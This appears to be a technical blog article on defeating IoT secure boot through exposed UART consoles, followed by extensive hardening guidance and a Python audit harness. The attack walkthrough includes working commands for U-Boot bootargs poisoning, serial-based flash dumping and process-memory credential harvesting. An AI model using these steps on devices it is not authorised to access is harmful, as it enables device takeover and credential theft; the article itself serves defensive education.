Bali, Indonesia
Insights

Unauthenticated UART to Ring 0: Breaking IoT Secure Boot via Exposed TTY Consoles

October 15, 2026
0:00
Hardware manufacturers routinely spend six-figure budgets licensing cryptographic silicon blocks, blowing One-Time Programmable (OTP) eFuses to burn Root of Trust (RoT) public key hashes, and enforcing cryptographically signed bootloaders. On paper, the appliance boasts an unbroken cryptographic chain of trust: the internal Mask ROM validates the Secondary Program Loader (SPL), the SPL validates the U-Boot Flattened Image Tree (FIT) image with 4096-bit RSA signatures, and U-Boot authenticates the Linux zImage along with its Flattened Device Tree (FDT). Yet, a fifteen-dollar logic analyzer and four pogo pins clipped to test pads immediately behind a plastic maintenance cover bypass the entire multi-layered crypto engine in less than five seconds. This failure is not a flaw in the cryptographic primitives. It is an architectural failure of threat modeling at the interface between the hardware verification layer and the operating system's runtime initialization sequence. The silicon ensures that only verified code executes, but the verified code itself is deliberately engineered to spawn an unauthenticated root terminal on the SoC's primary asynchronous receiver-transmitter (UART) interface. When hardware engineers fail to sever debug surfaces prior to high-volume fabrication, cryptographically verified kernels happily hand over Ring 0 execution semantics and full flash extraction capabilities to anyone capable of measuring voltage drops across an exposed circuit board.
TEXT
+-----------------------------------------------------------------------------------------+
|                              HARDWARE ROOT OF TRUST                                     |
|                                                                                         |
|  +-------------------+       +--------------------+       +--------------------------+  |
|  |   Mask ROM        | ----> |      U-Boot SPL    | ----> |      U-Boot FIT          |  |
|  |  (RSA-4096 / SHA) |       |  (Cryptographically|       |  (Image Validation)      |  |
|  +-------------------+       |      Verified)     |       +--------------------------+  |
|           |                  +--------------------+                     |               |
|           v                                                             v               |
|   [OTP eFuses OK]                                               [Signature Valid]       |
+-------------------------------------------------------------------------|---------------+
                                                                          v
+-----------------------------------------------------------------------------------------+
|                              KERNEL & RUNTIME INITIALIZATION                            |
|                                                                                         |
|  Kernel Image Loaded                                                                    |
|  (dm-verity unconfigured / permissive cmdline: console=ttyS0,115200 root=/dev/mmcblk0p2)|
|           |                                                                             |
|           v                                                                             |
|  +-----------------------------------------------------------------------------------+  |
|  | Linux Kernel 5.15 Boots: TTY Driver Initialized on APB Peripheral Base 0x01C28000 |  |
|  +-----------------------------------------------------------------------------------+  |
|           |                                                                             |
|           v                                                                             |
|  /sbin/init executes (Busybox SysV Init)                                                |
|  Reads /etc/inittab: '::respawn:/bin/sh' OR '::respawn:/sbin/getty -n -l /bin/sh'       |
|           |                                                                             |
|           +-------------------------------+                                             |
|                                           |                                             |
|                                           v                                             |
|                                  +------------------+                                   |
|                                  | /dev/ttyS0 Shell |                                   |
|                                  | (UID 0 / GID 0)  |                                   |
|                                  +------------------+                                   |
|                                           |                                             |
+-------------------------------------------|---------------------------------------------+
                                            | Direct Electrical Connection
                                            v
                              +----------------------------+
                              | Exposed PCB Test Pads      |
                              | [TP1: TX] [TP2: RX] [GND]  | <--- Physical Probes Attached
                              +----------------------------+

When reverse-engineering an embedded motherboard, the initial step requires locating the Universal Asynchronous Receiver-Transmitter (UART) interface. UART is a point-to-point, full-duplex, asynchronous protocol. Because it lacks a shared clock line, both endpoints must agree beforehand on bit timing, framing, and parity. Embedded system designs consistently position diagnostic test pads (designated as TP on the silkscreen) near the main System on Chip (SoC) or Flash storage. Identifying these pins relies on standard electrical properties:
  1. Ground (GND): Shows zero ohms of continuity against the metal shielding of the Wi-Fi module, chassis standoffs, or USB jack ground plates.
  2. Transmit (TX from SoC perspective): Measures a steady pull-up voltage (commonly 3.3V or 1.8V CMOS logic) when idle. During device power-on, this line displays high-frequency pulse trains as early bootloader strings emit across the channel.
  3. Receive (RX into SoC): Typically floats or exhibits a high-impedance pull-up; injecting data here targets the SoC's receive buffer.
  4. Power (VCC): Delivers a continuous rail voltage (3.3V or 5.0V) and can be left unpopulated.
Attaching a logic analyzer across the floating TX pad during cold boot reveals the baud rate through edge-to-edge timing analysis. Standard UART 8N1 communication transmits a start bit (logic 0), eight data bits (least-significant bit first), zero parity bits, and one stop bit (logic 1).
TEXT
Logic 1 (Mark)  ---|     |-----|-----|     |-----|-----|----------- (Idle)
                   |     |     |     |     |     |     |
Logic 0 (Space)    |_____|     |     |_____|     |     |___________
                   |     |     |     |     |     |     |     |
                   [Start] [D0]  [D1]  [D2]  [D3]  [D4]  [Stop]
                   |<--->|
                    t_bit
If the narrowest observed pulse width t_bit is measured at 8.68 microseconds:
TEXT
Baud Rate = 1 / t_bit = 1 / 0.00000868 s ≈ 115200 bps
If t_bit measures 6.51 microseconds, the interface operates at 153600 bps—a baud rate frequently chosen by manufacturers using Rockchip or Realtek processors because it directly divides their internal reference crystal clocks without fractional divider drift.
BASH
# Enumerate local serial interfaces to attach the bridge
$ ls -la /dev/serial/by-id/
total 0
lrwxrwxrwx 1 root root 13 Jan 15 10:22 usb-FTDI_FT232R_USB_UART_A50285BI-if00-port0 -> ../../ttyUSB0

# Configure the interface for raw transmission, no echo, 115200 baud, 8N1
$ stty -F /dev/ttyUSB0 115200 raw -echo -echoe -echok -echoctl -echoke cs8 -cstopb -parenb

# Open asynchronous bidirectional terminal
$ picocom -b 115200 -d 8 -p n -f n /dev/ttyUSB0

When the SoC transitions out of hardware reset, the on-chip Mask ROM loads the SPL from raw sectors of an SPI NOR flash or an eMMC boot partition. Once initialized, the SPL loads the primary U-Boot binary into DRAM. At this phase, secure systems must be configured to prohibit console interruption. In vulnerable deployments, however, U-Boot remains configured with an interactive polling loop:
C
/* Excerpt from include/configs/soc_board.h */
#define CONFIG_BOOTDELAY 3
#define CONFIG_AUTOBOOT_KEYED 0
#define CONFIG_BOOTCOMMAND "run mmcboot"
During this three-second window, the UART RX line reads standard character inputs. Injecting a carriage return or space character shifts execution state from the automated boot loop to the interactive U-Boot console:
TEXT
U-Boot 2020.10-dirty (May 14 2024 - 18:32:01 +0000)

CPU:   Allwinner H6 (ARMv8)
DRAM:  2 GiB
MMC:   mmc@4020000: 0, mmc@4021000: 1
Loading Environment from MMC... OK
In:    serial
Out:   serial
Err:   serial
Hit any key to stop autoboot:  0 
=> 
Once dropped to the U-Boot command line, memory isolation does not exist. The processor operates in its highest-privilege exception level (EL2 or EL3 on AArch64; Secure Supervisor mode on ARMv7-A). Even if the SPL verified the digital signature of the kernel binary in storage, U-Boot's interactive shell allows the kernel command-line arguments (bootargs) to be mutated in-flight prior to jumping to the kernel entry point.
TEXT
=> printenv bootargs
bootargs=console=ttyS0,115200 root=/dev/mmcblk0p2 rootwait ro quiet panic=10

# Poison bootargs to divert the kernel root execution target
=> setenv bootargs console=ttyS0,115200 root=/dev/mmcblk0p2 rw init=/bin/sh

# Verify modified memory structure
=> printenv bootargs
bootargs=console=ttyS0,115200 root=/dev/mmcblk0p2 rw init=/bin/sh

# Boot using the existing kernel and device tree offsets in DRAM
=> bootm 0x42000000 - 0x43000000
By appending init=/bin/sh and altering the root filesystem mount flag from ro (read-only) to rw (read-write), the kernel completely ignores standard userland security controls. The kernel completes its hardware probe, constructs its task table, mounts the root partition directly, and executes /bin/sh as PID 1 without invoking /sbin/init, checking credentials, or starting system services.
Frequently, production units enforce CONFIG_BOOTDELAY = -1 or enable CONFIG_AUTOBOOT_KEYED = 1 with an unconfigured secret key, successfully preventing bootloader manipulation. In these cases, the boot sequence runs untouched. However, this defense collapses if the production filesystem's initialization configuration assigns an unauthenticated shell to the primary serial port. Linux systems operating on Busybox parse /etc/inittab upon starting /sbin/init. On typical smart appliances, the /etc/inittab configuration file frequently contains this setup:
INI
# /etc/inittab
::sysinit:/etc/init.d/rcS
::respawn:/sbin/getty -L 115200 ttyS0 vt100
::ctrlaltdel:/sbin/reboot
::shutdown:/bin/umount -a -r
Or worse, an unauthenticated debug shell remains hardcoded directly into the process table:
INI
# Developer test shell left active in production firmware image
ttyS0::respawn:-/bin/sh
Even when the configuration deploys getty, software misconfigurations frequently pass flags that compromise security:
INI
# Automatically log in the superuser without authentication
ttyS0::respawn:/sbin/getty -n -l /bin/sh 115200 ttyS0
When /sbin/init parses this entry, it forks a child process and calls execve() on /sbin/getty. The serial driver hooks /dev/ttyS0 to standard input, standard output, and standard error. If configured with -n -l /bin/sh, getty executes /bin/sh directly, bypassing the PAM/shadow validation layer entirely.
TEXT
[    3.412891] Freeing unused kernel memory: 1024K
[    3.418290] Run /sbin/init as init process
Starting system message bus: dbus-daemon.
Starting network management: NetworkManager.

BusyBox v1.31.1 () built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id
uid=0(root) gid=0(root) groups=0(root)

# uname -a
Linux smart-appliance 5.15.32-v8 #1 SMP PREEMPT Tue May 14 19:12:05 UTC 2024 aarch64 GNU/Linux
The attacker now operates in Ring 0-adjacent space: a privileged root shell with arbitrary system call invocation (SYS_execve, SYS_ptrace, SYS_mknod), unrestricted access to memory structures, and total visibility over the hardware peripheral bus.
With root access established on the TTY interface, an engineer or attacker can manipulate system memory, inspect running processes, and pull unencrypted credentials directly from flash storage.
BASH
# Inspect the kernel command line parameters active in the running task
# cat /proc/cmdline
console=ttyS0,115200 root=/dev/mmcblk0p2 rw earlycon=uart8250,mmio32,0x01c28000

# Enumerate the flash memory mapping
# cat /proc/mtd
dev:    size   erasesize  name
mtd0: 00040000 00010000 "spl-boot"
mtd1: 00100000 00010000 "u-boot"
mtd2: 00040000 00010000 "env"
mtd3: 00a00000 00010000 "kernel"
mtd4: 01480000 00010000 "rootfs"

# Query partition block devices
# ls -la /dev/mmcblk* /dev/mtd*
brw-rw---- 1 root disk 179, 0 Jan 15 10:24 /dev/mmcblk0
brw-rw---- 1 root disk 179, 1 Jan 15 10:24 /dev/mmcblk0p1
brw-rw---- 1 root disk 179, 2 Jan 15 10:24 /dev/mmcblk0p2
crw-rw---- 1 root disk  90, 0 Jan 15 10:24 /dev/mtd0
crw-rw---- 1 root disk  90, 1 Jan 15 10:24 /dev/mtd0ro
When external debug ports lack network interfaces or USB host controllers, the serial port itself functions as an exfiltration bus. Using native binary tools or shell builtins, raw block devices can be funneled directly over the active terminal:
BASH
# Convert critical partitions to Base64 to bypass control character truncation
# base64 /dev/mtd2 > /dev/ttyS0
On the host machine, the engineer records the incoming serial bitstream and decodes it back to raw binary:
BASH
# Extract raw SPI environment parameters containing static keys and configuration
$ picocom -b 115200 /dev/ttyUSB0 --logfile session.log
# Inside the target console:
# base64 /dev/mtd2
# [Exit picocom via Ctrl-A Ctrl-X]

# Clean logging prefixes and decode
sed -e 's/\r//g' session.log | grep -E '^[A-Za-z0-9+/=]+' | base64 -d > uboot_env.bin

# Inspect ASCII strings within the extracted binary environment
$ strings uboot_env.bin | grep -E '(token|key|wifi|pass)'
wifi_ssid=HOME-PRODUCTION-NET
wifi_psk=Sup3rS3cr3tP@ssw0rd!
cloud_api_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30.t-ae9_abcdef
Beyond flash storage, access to the unauthenticated TTY shell allows runtime interrogation of live memory allocations via /proc. We can dump the process memory of proprietary telemetry agents, extraction daemons, or credential stores:
BASH
# Locate the primary proprietary appliance manager process
# ps | grep -i appliance_agent
  482 root     24128 S    /usr/bin/appliance_agent

# Examine virtual memory mappings to identify heap allocations
# cat /proc/482/maps | grep heap
0002f000-00045000 rw-p 00000000 00:00 0          [heap]

# Read virtual memory directly via dd and procfs
# dd if=/proc/482/mem of=/tmp/heap.dump bs=1 skip=((0x0002f000)) count=((0x00045000 - 0x0002f000))
221184+0 records in
221184+0 records out

# Search for runtime cryptographic keys or cleartext auth tokens
# strings /tmp/heap.dump | grep -i "bearer"
Authorization: Bearer 99f82d41b53e414c995ef11082ad81b0
If the kernel supports modern tracing, engineers can trace syscall activity directly using bpftrace or raw tracepoints to capture execution pathways in real-time:
BASH
# Trace openat syscalls system-wide to map what credentials background daemons read
# cd /sys/kernel/debug/tracing
# echo 1 > events/syscalls/sys_enter_openat/enable
# cat trace_pipe | grep -E '(\.conf|\.key)'
 app_daemon-482 [001] ....  1823.120341: sys_enter_openat: dfd: 0xffffff9c, filename: /etc/ssl/certs/client.key, flags: 0x0, mode: 0x0
This level of visibility demonstrates the operational impact: an insecure serial console completely nullifies whatever isolation model the designers assumed was protecting the software stack.
Mitigating UART-to-root exposure requires systematic hardening across four layers: board layout, bootloader source, kernel configuration, and init system policies. Relying on physical obscurity (such as hiding pads on inner PCB layers) fails against straightforward hardware teardown workflows.
In high-reliability, zero-trust deployments, boot delays must be entirely removed, interactive consoles disabled, and configuration inputs locked to signed variables.
INI
# Explicitly disable the autoboot abort delay loop
CONFIG_BOOTDELAY=-1

# Alternatively, if diagnostic access MUST exist, require a cryptographic hash
CONFIG_AUTOBOOT_KEYED=1
CONFIG_AUTOBOOT_PROMPT=""
CONFIG_AUTOBOOT_DELAY_STR=""
CONFIG_AUTOBOOT_STOP_STR=""
# SHA-256 hashed password string ("ProductionDebugKey1!")
CONFIG_AUTOBOOT_STOP_STR_SHA256="b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb9"

# Lock the runtime command environment
# Prevents changing 'bootargs' via hardware serial terminal
# CONFIG_ENV_IS_NOWHERE is selected, or read-only flash bindings are applied:
CONFIG_CMD_ENV_FLAGS=y
CONFIG_REGEX=y
CONFIG_ENV_FLAGS_LIST_STATIC="bootargs:sr"

# Strip interactive shell utilities entirely from target production builds
# CONFIG_CMD_BOOTD=n
# CONFIG_CMD_RUN=n
# CONFIG_CMD_EDITENV=n
# CONFIG_CMD_SAVEENV=n
Trade-off analysis: Completely disabling the boot delay (CONFIG_BOOTDELAY=-1) eliminates standard diagnostic recoverability. If a kernel update triggers an immediate panic loop, field devices cannot be manually interrupted via UART to boot a fallback partition. To handle this, teams must configure an external hardware watchdog (WDT) and maintain dual-slot (A/B) root filesystems alongside a verified bootloader capable of rollback detection.
During Linux kernel configuration (make menuconfig), compile-time options should strictly restrict debug logging and remove the serial console driver if diagnostic readouts are unnecessary in field hardware.
INI
# Linux Kernel Configuration: Defconfig Hardening

# 1. Disable low-level serial driver bindings entirely if unused in prod
# CONFIG_SERIAL_8250_CONSOLE is not set
# CONFIG_SERIAL_AMBA_PL011_CONSOLE is not set

# 2. Hardcode trusted command-line arguments, ignoring bootloader-passed args
CONFIG_CMDLINE_BOOL=y
CONFIG_CMDLINE="console=null root=/dev/mmcblk0p2 ro rootwait panic=5 quiet slab_nomerge slub_debug=FZ init=/sbin/init"
CONFIG_CMDLINE_FORCE=y

# 3. Restrict kernel log buffers from exposing memory address mappings
CONFIG_SECURITY_DMESG_RESTRICT=y
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=n
CONFIG_DEVKMEM=n
CONFIG_DEVMEM=n
CONFIG_STRICT_DEVMEM=y
CONFIG_IO_STRICT_DEVMEM=y
Enforcing CONFIG_CMDLINE_FORCE=y mitigates bootargs poisoning: even if an attacker manipulates the bootloader into passing init=/bin/sh, the kernel overrides it at decompression with the verified, embedded compilation string.
If the serial driver must remain compiled into the kernel for specialized auxiliary hardware (such as inter-processor communication with a low-power motor-control MCU), the operating system's init layer must never attach an unauthenticated interactive shell to that device node.
Never allow raw shells to spawn directly on serial lines. If logging access is essential, enforce strict user authentication using PAM or shadow password hashes with a rate-limited getty configuration:
INI
# /etc/inittab - SECURE CONFIGURATION
::sysinit:/etc/init.d/rcS

# Require standard credentials, disable root autologin, drop default shells
ttyS0:12345:respawn:/sbin/getty -L 115200 ttyS0 vt100

# Fallback: Explicitly comment out any debug interfaces
# ttyS0::respawn:-/bin/sh

::ctrlaltdel:/sbin/reboot
::shutdown:/bin/umount -a -r
Ensure that /etc/securetty does not list ttyS0. When missing from /etc/securetty, standard Linux login binaries block the superuser account (root) from authenticating over that specific terminal device, requiring an unprivileged service account login followed by monitored su or sudo operations.
On appliances deploying Yocto-generated systemd images, serial getty instances auto-spawn via systemd-getty-generator whenever the kernel passes console=ttyS0 in /proc/cmdline. This behavior can be explicitly masked at build time:
BASH
# Mask automated console instantiation units within the rootfs build recipe
systemctl mask [email protected]
systemctl mask [email protected]
systemctl mask debug-shell.service
Verify that /lib/systemd/system/debug-shell.service is masked or removed. This service, which spawns a passwordless root shell on tty9, is often accidentally left enabled after local board bring-up.
Modern SoCs rely on internal pin controllers (pinmux) to map silicon pad connections dynamically between GPIO, I2C, SPI, and UART blocks. Hardware security teams can exploit this flexibility by allowing UART output solely during early boot, and subsequently remapping those pins to inert GPIO lines as the device tree initializes.
DTS
/* arch/arm64/boot/dts/vendor/soc-appliance.dts */

/ {
    soc {
        /* Explicitly disable the diagnostic UART block in the production tree */
        uart0: serial@1c28000 {
            compatible = "ns16500a";
            reg = <0x01c28000 0x400>;
            interrupts = <GIC_SPI 4 IRQ_TYPE_LEVEL_HIGH>;
            clocks = <&ccu CLK_BUS_UART0>;
            /* Change status to 'disabled' to unbind the driver on boot */
            status = "disabled";
        };
    };
};
By marking the peripheral node as disabled, the Linux kernel unbinds the hardware register range 0x01c28000 from the serial driver subsystem. Even with physical access to the test points, electrical signals cease toggling once the kernel finishes mounting device nodes, turning the pads inert under software control.
Hardening is only as robust as the automated verification pipeline that tests production builds. Before any hardware firmware image signs off for manufacturing, it should be subjected to an automated test loop using a hardware-in-the-loop (HIL) testbed:
BASH
#!/usr/bin/env python3
"""
Automated UART Security Audit Harness
Tests target serial bus during continuous power cycles to confirm:
1. Bootloader autoboot cannot be aborted with generic ASCII sequences.
2. In-flight kernel command lines cannot be injected.
3. The operating system does not spawn an unauthenticated root ash/sh/bash shell.
"""

import serial
import time
import sys

SERIAL_PORT = "/dev/ttyUSB0"
BAUD_RATE = 115200
PROMPT_INDICATORS = [b"# ", b"$ ", b"root@", b"/ # ", b"=>"]
ABORT_PAYLOADS = [b"\x20", b"\x0d", b"\x1b", b"boot", b"\x03"]

def run_audit():
    print(f"[*] Connecting to target debug interface on {SERIAL_PORT}...")
    try:
        ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=0.1)
    except serial.SerialException as e:
        print(f"[-] Execution halted: Unable to open bus: {e}")
        sys.exit(1)

    print("[*] Monitoring bus... Trigger appliance power cycle now.")
    boot_log = bytearray()
    start_time = time.time()
    intercept_success = False

    # Phase 1: Attempt bootloader interruption
    while (time.time() - start_time) < 15.0:
        data = ser.read(128)
        if data:
            boot_log.extend(data)
            # Flooding interface with break sequences
            for payload in ABORT_PAYLOADS:
                ser.write(payload)
            
            if b"=>" in boot_log or b"U-Boot>" in boot_log:
                print("[!] CRITICAL FAILURE: Interactive bootloader prompt exposed!")
                intercept_success = True
                break

    # Phase 2: Interrogate userland TTY console
    print("[*] Boot interval elapsed. Testing for interactive userland terminal...")
    ser.write(b"

id

")
    time.sleep(0.5)
    response = ser.read(1024)

    if b"uid=0(root)" in response:
        print("[!] CRITICAL FAILURE: Unauthenticated root shell exposed on serial console!")
        print(f"[!] Response: {response.decode(errors='replace')}")
        sys.exit(2)
    elif any(p in response for p in PROMPT_INDICATORS):
        print("[!] WARNING: Shell prompt detected on interface without login prompt.")
        sys.exit(3)
    
    print("[+] PASS: Interface verified. Bootloader locked; no interactive terminal.")
    ser.close()

if __name__ == "__main__":
    run_audit()
Running this audit script against hardened hardware validates the configuration. If the hardware-in-the-loop harness detects no interactive prompt, drops no shell upon sending newline delimiters, and confirms that bootloader countdown abort sequences fail, the firmware image can safely proceed to factory programming.
Completely sealing an embedded board comes with operational trade-offs that systems engineers must account for:
Hardening TechniqueSecurity AdvantageOperational / Servicing Trade-Off
Disable UART pinmux entirely via Device Tree status = "disabled"Fully defeats cold-bus probing and runtime physical TTY hijacking.Precludes low-cost field diagnostics and RMA bench testing of returned units.
Require Keyed Autoboot in U-Boot (CONFIG_AUTOBOOT_KEYED=1)Prevents bootargs poisoning and interactive bootloader shell access.If the signing/abort key is compromised, all devices sharing the hash are at risk.
Hardcode cmdline in kernel (CONFIG_CMDLINE_FORCE=y)Mitigates init=/bin/sh exploits passed by rogue bootloaders or SPL.Prevents changing dynamic storage flags during factory provisioning workflows.
Enforce dm-verity across rootfs with read-only runtime mountsGuarantees block-level integrity and triggers immediate panics on tampering.Requires robust A/B atomic upgrade paths since no partitions can be modified live.
A secure boot architecture requires end-to-end consistency. Validating digital signatures in silicon while spawning unauthenticated root shells over exposed physical traces is equivalent to installing a vault door on a cardboard wall. Securing production devices requires enforcing least-privilege defaults across the physical layer: lock the serial console, authenticate or sever debug lines, and make your storage partitions immutable before hardware ships to the wild.